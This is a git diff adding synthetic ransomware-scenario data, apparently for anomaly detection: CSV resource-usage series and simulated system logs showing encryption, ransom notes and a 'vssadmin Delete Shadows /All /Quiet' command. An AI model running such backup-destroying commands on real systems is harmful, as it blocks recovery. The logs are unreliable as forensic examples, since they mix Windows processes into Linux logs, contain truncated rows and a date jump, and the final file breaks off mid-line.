{"t":{"$date":"2026-03-10T01:31:05.123+00:00"},"s":"E", "c":"STORAGE", "id":22435, "ctx":"WT-Oplog-0","msg":"WiredTiger error","attr":{"error":13,"message":"Permission denied"}} +Mar 10 01:31:20 node[7890]: uncaughtException: Error: ENOENT: no such file or directory, stat '/app/client/build/index.html' +Mar 10 01:31:35 kernel: [16015.678] audit: type=1400 apparmor="DENIED" operation="file_mprotect" profile="/usr/bin/mongod" name="/var/lib/mongodb/journal/WiredTigerLog.0000000001.enc" pid=6789 comm="mongod" +Mar 10 01:31:50 backup.sh[16700]: ERROR: MongoDB dump failed. +Mar 10 01:32:05 systemd[1]: session-16.scope: Killing process 16677 (sshd) with signal SIGKILL. +Mar 10 01:32:20 mongodb[6789]: {"t":{"$date":"2026-03-10T01:32:20.789+00:00"},"s":"F", "c":"CONTROL", "id":20573, "ctx":"-","msg":"Wrong mongod version","attr":{"ourVersion":"4.4.5","dbVersion":"4.2.8"}} +Mar 10 01:32:35 node[7890]: (node:7890) PromiseRejectionHandledWarning: Promise rejection was handled asynchronously +Mar 10 01:32:50 systemd[1]: Created file /app/GET_YOUR_DATA_BACK.md. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_14.csv b/mali_dataset/scenario_3/mali_3_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..615453cf342aa2fb648f61f44242cf5c3c2ba588 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_14.csv @@ -0,0 +1,78 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T15:10:00Z,21.45,48.82,45.12,0.88,1.52 +2025-08-29T15:10:05Z,18.92,51.33,33.45,0.95,1.21 +2025-08-29T15:10:10Z,23.11,49.05,58.98,0.76,0.99 +2025-08-29T15:10:15Z,17.56,47.88,31.22,1.33,1.78 +2025-08-29T15:10:20Z,25.01,53.12,62.01,1.01,1.15 +2025-08-29T15:10:25Z,20.34,50.21,40.57,0.89,1.63 +2025-08-29T15:10:30Z,19.87,48.99,38.77,1.12,1.43 +2025-08-29T15:10:35Z,22.05,52.45,55.93,0.91,1.05 +2025-08-29T15:10:40Z,18.19,49.56,37.69,1.42,1.88 +2025-08-29T15:10:45Z,24.53,54.01,65.34,0.81,1.32 +2025-08-29T15:10:50Z,21.76,51.87,42.87,1.23,1.57 +2025-08-29T15:10:55Z,19.03,50.11,39.98,0.98,1.25 +2025-08-29T15:11:00Z,23.88,53.55,61.23,1.05,1.19 +2025-08-29T15:11:05Z,17.99,48.21,35.43,1.38,1.81 +2025-08-29T15:11:10Z,25.62,55.03,68.91,0.79,1.28 +2025-08-29T15:11:15Z,98.50,92.11,3105.72,0.55,0.85 +2025-08-29T15:11:20Z,99.12,94.34,3578.43,0.48,0.72 +2025-08-29T15:11:25Z,97.89,91.88,3210.98,0.61,0.91 +2025-08-29T15:11:30Z,99.56,95.01,3842.11,0.45,0.68 +2025-08-29T15:11:35Z,98.23,93.54,3421.88,0.58,0.88 +2025-08-29T15:11:40Z,99.01,94.87,3754.32,0.51,0.77 +2025-08-29T15:11:45Z,98.67,93.99,3511.45,0.53,0.81 +2025-08-29T15:11:50Z,99.21,95.21,3899.12,0.47,0.70 +2025-08-29T15:11:55Z,97.99,92.34,3301.54,0.60,0.90 +2025-08-29T15:12:00Z,99.34,95.87,3954.76,0.43,0.65 +2025-08-29T15:12:05Z,98.01,92.87,3388.98,0.59,0.89 +2025-08-29T15:12:10Z,99.65,96.01,4010.23,0.41,0.62 +2025-08-29T15:12:15Z,98.32,93.43,3456.12,0.57,0.86 +2025-08-29T15:12:20Z,99.15,95.12,3811.43,0.49,0.74 +2025-08-29T15:12:25Z,98.88,94.21,3601.87,0.52,0.79 +2025-08-29T15:12:30Z,99.43,95.76,3987.45,0.44,0.66 +2025-08-29T15:12:35Z,98.11,93.01,3401.54,0.58,0.87 +2025-08-29T15:12:40Z,99.76,96.32,4054.98,0.40,0.60 +2025-08-29T15:12:45Z,98.45,93.76,3501.23,0.56,0.84 +2025-08-29T15:12:50Z,99.02,94.98,3788.65,0.50,0.75 +2025-08-29T15:12:55Z,98.54,93.88,3555.76,0.54,0.82 +2025-08-29T15:13:00Z,99.28,95.43,3912.87,0.46,0.69 +2025-08-29T15:13:05Z,97.98,92.76,3343.87,0.60,0.90 +2025-08-29T15:13:10Z,99.51,95.99,3999.12,0.42,0.63 +2025-08-29T15:13:15Z,98.21,93.21,3421.87,0.57,0.86 +2025-08-29T15:13:20Z,99.33,95.65,3943.76,0.45,0.68 +2025-08-29T15:13:25Z,98.65,94.01,3587.43,0.53,0.80 +2025-08-29T15:13:30Z,99.11,95.03,3801.98,0.49,0.73 +2025-08-29T15:13:35Z,98.76,94.12,3599.87,0.52,0.78 +2025-08-29T15:13:40Z,99.45,95.88,3976.45,0.43,0.65 +2025-08-29T15:13:45Z,98.01,92.99,3387.65,0.59,0.89 +2025-08-29T15:13:50Z,99.67,96.12,4021.87,0.41,0.62 +2025-08-29T15:13:55Z,98.34,93.54,3465.98,0.56,0.85 +2025-08-29T15:14:00Z,99.21,95.32,3888.12,0.47,0.71 +2025-08-29T15:14:05Z,98.43,93.65,3512.76,0.55,0.83 +2025-08-29T15:14:10Z,99.01,94.99,3799.87,0.49,0.74 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+2025-08-29T15:15:50Z,14.98,35.76,26.54,0.22,0.32 +2025-08-29T15:15:55Z,21.34,41.23,40.12,0.32,0.48 +2025-08-29T15:16:00Z,18.54,39.87,36.76,0.28,0.42 +2025-08-29T15:16:05Z,15.65,36.98,29.87,0.24,0.35 +2025-08-29T15:16:10Z,22.11,42.34,42.54,0.34,0.51 +2025-08-29T15:16:15Z,19.87,40.12,38.98,0.30,0.45 +2025-08-29T15:16:20Z,16.76,37.43,31.21,0.25,0.37 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_14.log b/mali_dataset/scenario_3/mali_3_14.log new file mode 100644 index 0000000000000000000000000000000000000000..5f3e89c766729e5cdcb864f72185029b918b0919 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_14.log @@ -0,0 +1,21 @@ +Aug 29 15:10:10 sshd[1254]: pam_unix(sshd:session): session opened for user webadmin by (uid=0) +Aug 29 15:10:25 systemd[1]: Starting Cleanup of Temporary Directories... +Aug 29 15:10:40 CRON[3452]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 29 15:10:55 mysqld[1122]: 2025-08-29T15:10:55.432Z 1122 [Note] Aborted connection 1122 to db: 'userdb' user: 'webapp' host: 'localhost' (Got an error writing communication packets) +Aug 29 15:11:10 webapp[2345]: [INFO] User 'alice' logged in successfully +Aug 29 15:11:15 kernel: [4512.345] svchost.exe[4567]: segfault at 7f2d2b3c7a00 ip 00007f2d2b3c7a00 sp 00007ffc9e6e4a88 error 15 +Aug 29 15:11:20 vssadmin[4568]: Delete Shadows /All /Quiet +Aug 29 15:11:35 webapp[2345]: [ERROR] java.io.FileNotFoundException: /data/webapp/config/database.xml (Permission denied) +Aug 29 15:11:50 mysqld[1122]: 2025-08-29T15:11:50.123Z 1122 [ERROR] InnoDB: Could not find a valid tablespace file for 'userdb/users'. +Aug 29 15:12:05 webapp[2345]: [ERROR] org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 1; Content is not allowed in prolog. +Aug 29 15:12:20 kernel: [4528.987] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/userdb/orders.ibd.locked" pid=1122 comm="mysqld" +Aug 29 15:12:35 systemd[1]: session-1.scope: Succeeded. +Aug 29 15:12:50 CRON[4678]: (root) CMD ( /usr/local/bin/cleanup.sh ) +Aug 29 15:13:05 webapp[2345]: [FATAL] Critical configuration file /data/webapp/config/main.properties is unreadable. Application shutting down. +Aug 29 15:13:20 mysqld[1122]: 2025-08-29T15:13:20.987Z 1122 [ERROR] Can't open file: './userdb/products.frm' (errno: 13) +Aug 29 15:13:35 kernel: [4542.456] Out of memory: Kill process 2345 (webapp) score 856 or sacrifice child +Aug 29 15:13:50 backup.sh[5123]: [ERROR] Failed to access source directory /var/lib/mysql. +Aug 29 15:14:05 systemd[1]: Created file /home/webadmin/HOW_TO_DECRYPT.txt. +Aug 29 15:14:20 sshd[1254]: pam_unix(sshd:session): session closed for user webadmin +Aug 29 15:14:35 CRON[5234]: (root) CMD (echo "All your files are encrypted." > /dev/null) +Aug 29 15:14:50 mysqld[1122]: 2025-08-29T15:14:50.123Z 1122 [Note] /usr/sbin/mysqld: Normal shutdown \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_15.csv b/mali_dataset/scenario_3/mali_3_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..f55e6f212184a30b421f0325e8d7ed94352dfca5 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_15.csv @@ -0,0 +1,50 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-05T10:00:00Z,15.22,45.83,55.12,1.21,1.85 +2025-09-05T10:00:05Z,18.91,48.21,43.98,0.98,1.55 +2025-09-05T10:00:10Z,22.45,52.11,65.34,1.15,1.75 +2025-09-05T10:00:15Z,17.88,47.92,48.88,1.32,1.92 +2025-09-05T10:00:20Z,20.15,50.33,58.01,1.05,1.65 +2025-09-05T10:00:25Z,16.54,46.76,45.23,1.28,1.88 +2025-09-05T10:00:30Z,24.01,54.98,72.15,0.95,1.52 +2025-09-05T10:00:35Z,19.32,49.02,51.76,1.11,1.71 +2025-09-05T10:00:40Z,21.87,51.87,61.32,1.01,1.61 +2025-09-05T10:00:45Z,18.05,48.15,49.99,1.25,1.85 +2025-09-05T10:00:50Z,23.65,53.21,68.87,0.99,1.59 +2025-09-05T10:00:55Z,98.65,92.34,3543.87,0.45,0.65 +2025-09-05T10:01:00Z,99.12,94.87,3876.12,0.41,0.61 +2025-09-05T10:01:05Z,97.98,91.99,3412.54,0.51,0.71 +2025-09-05T10:01:10Z,99.54,95.21,3987.43,0.39,0.59 +2025-09-05T10:01:15Z,98.21,93.01,3587.87,0.48,0.68 +2025-09-05T10:01:20Z,99.01,94.54,3799.12,0.42,0.62 +2025-09-05T10:01:25Z,98.67,93.87,3654.98,0.46,0.66 +2025-09-05T10:01:30Z,99.21,95.11,3912.43,0.40,0.60 +2025-09-05T10:01:35Z,97.87,92.54,3487.65,0.50,0.70 +2025-09-05T10:01:40Z,99.34,95.87,3999.87,0.38,0.58 +2025-09-05T10:01:45Z,98.01,92.98,3512.34,0.49,0.69 +2025-09-05T10:01:50Z,99.65,96.01,4021.54,0.37,0.57 +2025-09-05T10:01:55Z,98.32,93.43,3565.87,0.47,0.67 +2025-09-05T10:02:00Z,99.15,95.12,3876.43,0.41,0.61 +2025-09-05T10:02:05Z,98.88,94.21,3701.98,0.44,0.64 +2025-09-05T10:02:10Z,99.43,95.76,3954.12,0.39,0.59 +2025-09-05T10:02:15Z,98.11,93.01,3501.87,0.48,0.68 +2025-09-05T10:02:20Z,99.76,96.32,4054.54,0.36,0.56 +2025-09-05T10:02:25Z,98.45,93.76,3612.34,0.46,0.66 +2025-09-05T10:02:30Z,99.02,94.98,3821.87,0.42,0.62 +2025-09-05T10:02:35Z,98.54,93.88,3687.65,0.45,0.65 +2025-09-05T10:02:40Z,99.28,95.43,3921.98,0.40,0.60 +2025-09-05T10:02:45Z,97.98,92.76,3454.12,0.50,0.70 +2025-09-05T10:02:50Z,99.51,95.99,4001.43,0.38,0.58 +2025-09-05T10:02:55Z,98.21,93.21,3521.87,0.49,0.69 +2025-09-05T10:03:00Z,99.33,95.65,3943.54,0.39,0.59 +2025-09-05T10:03:05Z,98.65,94.01,3687.98,0.44,0.64 +2025-09-05T10:03:10Z,99.11,95.03,3801.43,0.41,0.61 +2025-09-05T10:03:15Z,98.76,94.12,3712.54,0.43,0.63 +2025-09-05T10:03:20Z,99.45,95.88,3976.87,0.38,0.58 +2025-09-05T10:03:25Z,98.01,92.99,3499.12,0.49,0.69 +2025-09-05T10:03:30Z,99.67,96.12,4032.43,0.37,0.57 +2025-09-05T10:03:35Z,98.34,93.54,3543.87,0.47,0.67 +2025-09-05T10:03:40Z,99.21,95.32,3899.54,0.41,0.61 +2025-09-05T10:03:45Z,98.43,93.65,3621.87,0.46,0.66 +2025-09-05T10:03:50Z,99.01,94.99,3812.98,0.42,0.62 +2025-09-05T10:03:55Z,98.57,93.87,3699.12,0.45,0.65 +2d... \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_15.log b/mali_dataset/scenario_3/mali_3_15.log new file mode 100644 index 0000000000000000000000000000000000000000..24dda3d6b65d8113ab67a806a5311e1adf1ac710 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_15.log @@ -0,0 +1,20 @@ +Sep 05 10:00:10 sshd[3141]: User 'guest' from 192.168.1.105 not allowed because not listed in AllowUsers +Sep 05 10:00:25 systemd[1]: Started Daily apt download activities. +Sep 05 10:00:40 CRON[3155]: (apache) CMD (/usr/share/apache2/apache2-maintscript-helper global-maintenance) +Sep 05 10:00:50 mysqld[1588]: 2025-09-05T10:00:50.123Z 1588 [Note] InnoDB: Buffer pool(s) load completed at 250905 10:00:50 +Sep 05 10:00:55 kernel: [5123.456] nf_conntrack: nf_conntrack: table full, dropping packet +Sep 05 10:01:00 winword.exe[3188]: Suspicious execution detected from /tmp/winword.exe +Sep 05 10:01:10 vssadmin[3190]: Attempting to delete shadows for volume C: +Sep 05 10:01:25 webapp[2255]: [ERROR] Failed to read configuration: /var/www/html/config.php, file does not exist. +Sep 05 10:01:40 mysqld[1588]: 2025-09-05T10:01:40.987Z 1588 [ERROR] /usr/sbin/mysqld: Can't find file: './production/inventory.frm' (errno: 2 - No such file or directory) +Sep 05 10:01:55 webapp[2255]: [WARN] Could not parse file /var/www/html/assets/styles.css - Invalid format. +Sep 05 10:02:10 kernel: [5142.123] audit: type=1400 apparmor="DENIED" operation="mknod" profile="/usr/sbin/mysqld" name="/var/lib/mysql/production/users.ibd.payday" pid=1588 comm="mysqld" +Sep 05 10:02:25 systemd-logind[1121]: Session 3 of user admin logged out. +Sep 05 10:02:40 CRON[3210]: (root) CMD (find /tmp -type f -delete) +Sep 05 10:02:55 webapp[2255]: [FATAL] Database connection failed: SQLSTATE[HY000] [2002] No such file or directory. Service is shutting down. +Sep 05 10:03:10 mysqld[1588]: 2025-09-05T10:03:10.456Z 1588 [ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.user' doesn't exist +Sep 05 10:03:25 kernel: [5153.888] systemd-journald[890]: /var/log/journal/.../system.journal: Journal file has been deleted. +Sep 05 10:03:40 backup-script[3245]: ERROR: Source /var/www/html is unreadable. Backup aborted. +Sep 05 10:03:55 systemd[1]: Created file /DECRYPT_YOUR_FILES.HTML. +Sep 05 10:04:10 sshd[3122]: Received disconnect from 10.0.2.2 port 51342:11: Normal Shutdown +Sep 05 10:04:25 auditd[950]: Audit daemon rotating log files \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_16.csv b/mali_dataset/scenario_3/mali_3_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..dc6e069cdcac7a170bcea630c6ba9e9cde8cc794 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_16.csv @@ -0,0 +1,45 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-11T21:40:00Z,23.55,55.12,65.88,2.11,1.54 +2025-09-11T21:40:05Z,20.12,52.34,58.43,2.54,1.88 +2025-09-11T21:40:10Z,25.87,58.98,72.15,1.98,1.43 +2025-09-11T21:40:15Z,22.34,54.76,61.54,2.32,1.76 +2025-09-11T21:40:20Z,24.65,57.12,69.87,2.05,1.51 +2025-09-11T21:40:25Z,21.87,53.99,60.21,2.45,1.81 +2025-09-11T21:40:30Z,26.12,59.21,75.32,1.91,1.39 +2025-09-11T21:40:35Z,23.01,56.43,63.98,2.21,1.69 +2025-09-11T21:40:40Z,99.55,95.12,4102.34,0.55,0.85 +2025-09-11T21:40:45Z,98.99,94.32,3988.12,0.61,0.92 +2025-09-11T21:40:50Z,99.87,96.54,4254.87,0.48,0.78 +2025-09-11T21:40:55Z,98.65,93.87,3899.54,0.65,0.98 +2025-09-11T21:41:00Z,99.91,97.01,4311.21,0.45,0.75 +2025-09-11T21:41:05Z,98.43,93.12,3812.98,0.68,1.01 +2025-09-11T21:41:10Z,99.67,95.99,4198.54,0.51,0.81 +2025-09-11T21:41:15Z,98.12,92.87,3754.32,0.71,1.05 +2025-09-11T21:41:20Z,99.78,96.87,4287.65,0.47,0.77 +2025-09-11T21:41:25Z,98.21,92.99,3788.12,0.70,1.03 +2025-09-11T21:41:30Z,99.85,96.98,4299.87,0.46,0.76 +2025-09-11T21:41:35Z,98.32,93.01,3801.54,0.69,1.02 +2025-09-11T21:41:40Z,99.95,97.12,4321.98,0.44,0.74 +2025-09-11T21:41:45Z,98.54,93.54,3854.32,0.67,0.99 +2025-09-11T21:41:50Z,99.81,96.88,4276.54,0.48,0.78 +2025-09-11T21:41:55Z,98.45,93.32,3832.11,0.68,1.00 +2025-09-11T21:42:00Z,99.75,96.43,4211.87,0.50,0.80 +2025-09-11T21:42:05Z,98.67,93.98,3912.43,0.64,0.97 +2025-09-11T21:42:10Z,99.98,97.21,4354.12,0.43,0.73 +2025-09-11T21:42:15Z,98.76,94.01,3932.87,0.63,0.96 +2025-09-11T21:42:20Z,99.88,96.99,4301.54,0.46,0.76 +2025-09-11T21:42:25Z,98.55,93.65,3876.98,0.66,0.98 +2025-09-11T21:42:30Z,99.92,97.05,4321.12,0.45,0.75 +2025-09-11T21:42:35Z,98.65,93.87,3901.43,0.65,0.97 +2025-09-11T21:42:40Z,99.85,96.92,4288.98,0.47,0.77 +2025-09-11T21:42:45Z,98.43,93.21,3821.54,0.69,1.01 +2025-09-11T21:42:50Z,99.78,96.76,4254.32,0.49,0.79 +2025-09-11T21:42:55Z,98.32,93.11,3801.87,0.70,1.03 +2025-09-11T21:43:00Z,99.91,97.02,4312.43,0.45,0.75 +2025-09-11T21:43:05Z,98.54,93.54,3854.87,0.67,0.99 +2025-09-11T21:43:10Z,99.82,96.87,4276.12,0.48,0.78 +2025-09-11T21:43:15Z,98.43,93.32,3832.54,0.68,1.00 +2025-09-11T21:43:20Z,99.76,96.54,4221.98,0.50,0.80 +2025-09-11T21:43:25Z,98.65,93.98,3912.12,0.64,0.97 +2025-09-11T21:43:30Z,99.98,97.21,4354.54,0.43,0.73 +2d... \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_16.log b/mali_dataset/scenario_3/mali_3_16.log new file mode 100644 index 0000000000000000000000000000000000000000..8d4d987b1b68fc2834f194eca82a2334b7153d0c --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_16.log @@ -0,0 +1,15 @@ +Sep 11 21:40:10 sshd[4411]: Connection closed by authenticating user root 10.0.2.2 port 6000 [preauth] +Sep 11 21:40:25 nginx[1899]: 2025/09/11 21:40:25 [error] 1899#1899: *1 open() "/var/www/html/favicon.ico" failed (2: No such file or directory) +Sep 11 21:40:35 CRON[4422]: (www-data) CMD (php /var/www/html/cron.php) +Sep 11 21:40:40 rundll32.exe[4500]: Executing malicious payload from memory. +Sep 11 21:40:50 kernel: [6001.123] vssadmin.exe[4510]: Deleting volume shadow copies. +Sep 11 21:41:05 nginx[1899]: 2025/09/11 21:41:05 [crit] 1899#1899: *3 stat() "/var/www/html/index.php" failed (13: Permission denied) +Sep 11 21:41:20 postgres[1755]: 2025-09-11 21:41:20.123 UTC [4521] FATAL: could not access file "base/13000/16384": No such file or directory +Sep 11 21:41:35 nginx[1899]: 2025/09/11 21:41:35 [error] 1899#1899: *5 directory index of "/var/www/html/" is forbidden +Sep 11 21:41:50 kernel: [6020.456] audit: type=1400 apparmor="DENIED" operation="write" profile="/usr/sbin/nginx" name="/var/www/html/index.php.enc" +Sep 11 21:42:05 backup.sh[4600]: ERROR: Failed to create archive. Source directory /var/www/html is not readable. +Sep 11 21:42:20 systemd[1]: session-2.scope: Succeeded. +Sep 11 21:42:35 postgres[1755]: 2025-09-11 21:42:35.789 UTC [1755] LOG: database system is shut down +Sep 11 21:42:50 CRON[4655]: (root) CMD (rm -rf /tmp/*) +Sep 11 21:43:05 nginx[1899]: 2025/09/11 21:43:05 [alert] 1899#1899: worker process 1900 exited on signal 11 +Sep 11 21:43:20 systemd[1]: Created file /DECRYPT_INSTRUCTIONS.txt. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_17.csv b/mali_dataset/scenario_3/mali_3_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..2a2ae98c864abe15d3d90703098fc585cd5fd3de --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_17.csv @@ -0,0 +1,44 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-10-01T14:20:00Z,12.43,41.87,35.76,0.87,1.21 +2025-10-01T14:20:05Z,15.87,45.32,42.87,0.98,1.34 +2025-10-01T14:20:10Z,18.98,48.76,51.21,0.85,1.19 +2025-10-01T14:20:15Z,14.76,43.98,39.87,1.01,1.43 +2025-10-01T14:20:20Z,16.54,46.21,45.32,0.92,1.28 +2025-10-01T14:20:25Z,19.87,49.99,55.43,0.81,1.15 +2025-10-01T14:20:30Z,13.98,42.54,37.87,1.05,1.48 +2025-10-01T14:20:35Z,99.12,94.54,3987.65,0.45,0.76 +2025-10-01T14:20:40Z,98.87,93.98,3876.54,0.51,0.82 +2025-10-01T14:20:45Z,99.54,95.87,4101.23,0.42,0.71 +2025-10-01T14:20:50Z,98.65,93.54,3799.87,0.55,0.88 +2025-10-01T14:20:55Z,99.87,96.98,4211.54,0.39,0.68 +2025-10-01T14:21:00Z,98.43,93.12,3754.32,0.58,0.91 +2025-10-01T14:21:05Z,99.65,96.12,4154.87,0.41,0.70 +2025-10-01T14:21:10Z,98.21,92.87,3701.98,0.61,0.94 +2025-10-01T14:21:15Z,99.78,96.87,4254.32,0.38,0.67 +2025-10-01T14:21:20Z,98.11,92.99,3688.12,0.63,0.96 +2025-10-11T14:21:25Z,99.85,96.99,4287.65,0.37,0.66 +2025-10-11T14:21:30Z,98.32,93.01,3712.98,0.62,0.95 +2025-10-11T14:21:35Z,99.92,97.12,4311.87,0.36,0.65 +2025-10-11T14:21:40Z,98.54,93.54,3801.43,0.59,0.92 +2025-10-11T14:21:45Z,99.81,96.88,4276.12,0.39,0.68 +2025-10-11T14:21:50Z,98.45,93.32,3788.54,0.60,0.93 +2025-10-11T14:21:55Z,99.75,96.43,4201.98,0.41,0.70 +2025-10-11T14:22:00Z,98.67,93.98,3899.12,0.57,0.90 +2025-10-11T14:22:05Z,99.98,97.21,4343.54,0.35,0.64 +2025-10-11T14:22:10Z,98.76,94.01,3912.87,0.56,0.89 +2025-10-11T14:22:15Z,99.88,96.99,4299.12,0.37,0.66 +2025-10-11T14:22:20Z,98.55,93.65,3854.65,0.58,0.91 +2025-10-11T14:22:25Z,99.92,97.05,4312.98,0.36,0.65 +2025-10-11T14:22:30Z,98.65,93.87,3888.12,0.57,0.90 +2025-10-11T14:22:35Z,99.85,96.92,4276.54,0.38,0.67 +2025-10-11T14:22:40Z,98.43,93.21,3799.98,0.60,0.93 +2025-10-11T14:22:45Z,99.78,96.76,4243.12,0.40,0.69 +2025-10-11T14:22:50Z,98.32,93.11,3777.54,0.61,0.94 +2025-10-11T14:22:55Z,99.91,97.02,4301.98,0.36,0.65 +2025-10-11T14:23:00Z,98.54,93.54,3832.11,0.59,0.92 +2025-10-11T14:23:05Z,11.21,32.43,21.54,0.15,0.28 +2025-10-11T14:23:10Z,9.87,30.12,18.98,0.12,0.25 +2025-10-11T14:23:15Z,12.54,34.87,25.43,0.18,0.31 +2025-10-11T14:23:20Z,8.98,29.54,17.65,0.11,0.23 +2025-10-11T14:23:25Z,13.12,35.98,28.76,0.20,0.34 +2d... \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_17.log b/mali_dataset/scenario_3/mali_3_17.log new file mode 100644 index 0000000000000000000000000000000000000000..1719c6e5a23202265940ad07095ce863db0f28e6 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_17.log @@ -0,0 +1,13 @@ +Oct 01 14:20:10 sshd[5522]: Accepted publickey for sysadmin from 172.16.0.10 port 51234 ssh2 +Oct 01 14:20:25 systemd[1]: Starting daily man-db regeneration. +Oct 01 14:20:35 taskhost.exe[5580]: Malicious script execution initiated. +Oct 01 14:20:45 kernel: [7010.543] wbemexec.exe[5590]: Shadow copy deletion command issued. +Oct 01 14:21:00 apache2[2311]: [core:error] [pid 2312] (13)Permission denied: [client 172.16.0.1] AH00035: access to / denied because search permissions are missing on a component of the path +Oct 01 14:21:15 mariadb[1988]: 2025-10-01 14:21:15 13996333 [ERROR] InnoDB: The Auto-extending innodb_system data file './ibdata1' is full. +Oct 01 14:21:30 apache2[2311]: [php7:error] [pid 2313] [client 172.16.0.1] script '/var/www/html/app/index.php' not found or unable to stat +Oct 01 14:21:45 kernel: [7025.111] audit: type=1400 apparmor="DENIED" operation="create" profile="/usr/sbin/mariadbd" name="/var/lib/mysql/ibdata1.crypt" +Oct 01 14:22:00 systemd-logind[1021]: User sysadmin logged out. +Oct 01 14:22:15 backup.sh[5700]: FATAL: Cannot read backup configuration from /etc/backup.conf. File corrupted. +Oct 01 14:22:30 apache2[2311]: [mpm_prefork:notice] [pid 2311] AH00170: caught SIGWINCH, shutting down gracefully +Oct 01 14:22:45 mariadb[1988]: 2025-10-01 14:22:45 13996333 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it. +Oct 01 14:23:00 systemd[1]: Created file /var/www/html/README_FOR_DECRYPT.html. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_18.csv b/mali_dataset/scenario_3/mali_3_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..2271f4b6439743d7e84cf934ac3f53d715b9ad99 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_18.csv @@ -0,0 +1,45 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-10-22T09:30:00Z,28.76,62.43,81.43,3.12,2.54 +2025-10-22T09:30:05Z,25.43,58.98,75.32,3.54,2.88 +2025-10-22T09:30:10Z,30.12,65.32,88.12,2.98,2.43 +2025-10-22T09:30:15Z,27.87,61.87,80.54,3.32,2.76 +2025-10-22T09:30:20Z,29.54,64.21,85.87,3.05,2.51 +2025-10-22T09:30:25Z,26.98,60.12,78.21,3.45,2.81 +2025-10-22T09:30:30Z,99.87,97.12,4512.87,0.87,1.12 +2025-10-22T09:30:35Z,99.12,96.54,4398.54,0.92,1.18 +2025-10-22T09:30:40Z,99.98,97.87,4601.21,0.85,1.09 +2025-10-22T09:30:45Z,98.98,95.87,4299.87,0.95,1.21 +2025-10-22T09:30:50Z,99.95,97.99,4654.32,0.83,1.07 +2025-10-22T09:30:55Z,98.87,95.54,4254.12,0.98,1.25 +2025-10-22T09:31:00Z,99.91,97.54,4587.65,0.86,1.11 +2025-10-22T09:31:05Z,98.76,95.32,4201.98,1.01,1.28 +2025-10-22T09:31:10Z,99.99,98.12,4701.54,0.82,1.05 +2025-10-22T09:31:15Z,98.65,95.12,4188.12,1.03,1.31 +2025-10-22T09:31:20Z,99.96,98.01,4687.98,0.84,1.08 +2025-10-22T09:31:25Z,98.54,94.99,4154.65,1.05,1.33 +2025-10-22T09:31:30Z,99.93,97.87,4621.12,0.85,1.09 +2025-10-22T09:31:35Z,98.43,94.87,4132.98,1.07,1.35 +2025-10-22T09:31:40Z,99.99,98.21,4712.54,0.81,1.04 +2025-10-22T09:31:45Z,98.32,94.54,4101.43,1.09,1.38 +2025-10-22T09:31:50Z,99.97,98.11,4699.87,0.83,1.06 +2025-10-22T09:31:55Z,98.21,94.32,4087.65,1.11,1.41 +2025-10-22T09:32:00Z,99.94,97.98,4654.12,0.84,1.08 +2025-10-22T09:32:05Z,98.11,94.12,4054.98,1.13,1.43 +2025-10-22T09:32:10Z,99.99,98.32,4721.87,0.80,1.03 +2025-10-22T09:32:15Z,98.01,93.99,4032.54,1.15,1.45 +2025-10-22T09:32:20Z,99.96,98.01,4687.12,0.83,1.06 +2025-10-22T09:32:25Z,98.12,94.21,4065.98,1.14,1.44 +2025-10-22T09:32:30Z,99.98,98.21,4701.43,0.81,1.04 +2025-10-22T09:32:35Z,98.21,94.32,4087.12,1.13,1.43 +2025-10-22T09:32:40Z,99.95,97.99,4665.87,0.83,1.06 +2025-10-22T09:32:45Z,98.32,94.54,4112.54,1.11,1.41 +2025-10-22T09:32:50Z,99.99,98.43,4732.98,0.79,1.02 +2025-10-22T09:32:55Z,98.43,94.65,4132.11,1.10,1.40 +2025-10-22T09:33:00Z,15.43,35.87,25.43,0.21,0.34 +2025-10-22T09:33:05Z,12.87,32.43,21.87,0.18,0.29 +2025-10-22T09:33:10Z,18.98,38.76,32.12,0.25,0.38 +2025-10-22T09:33:15Z,14.76,34.98,28.54,0.22,0.35 +2025-10-22T09:33:20Z,11.54,31.21,19.87,0.17,0.27 +2025-10-22T09:33:25Z,19.87,39.99,35.43,0.28,0.41 +2025-10-22T09:33:30Z,13.98,33.54,24.87,0.20,0.32 +2d... \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_18.log b/mali_dataset/scenario_3/mali_3_18.log new file mode 100644 index 0000000000000000000000000000000000000000..302584d8640aaa064fa4cb053975ed23b5c35ea7 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_18.log @@ -0,0 +1,13 @@ +Oct 22 09:30:10 sshd[6633]: Failed password for invalid user visitor from 203.0.113.10 port 48322 ssh2 +Oct 22 09:30:25 systemd[1]: Started User Manager for UID 1001. +Oct 22 09:30:30 powershell.exe[6650]: -ExecutionPolicy Bypass -File 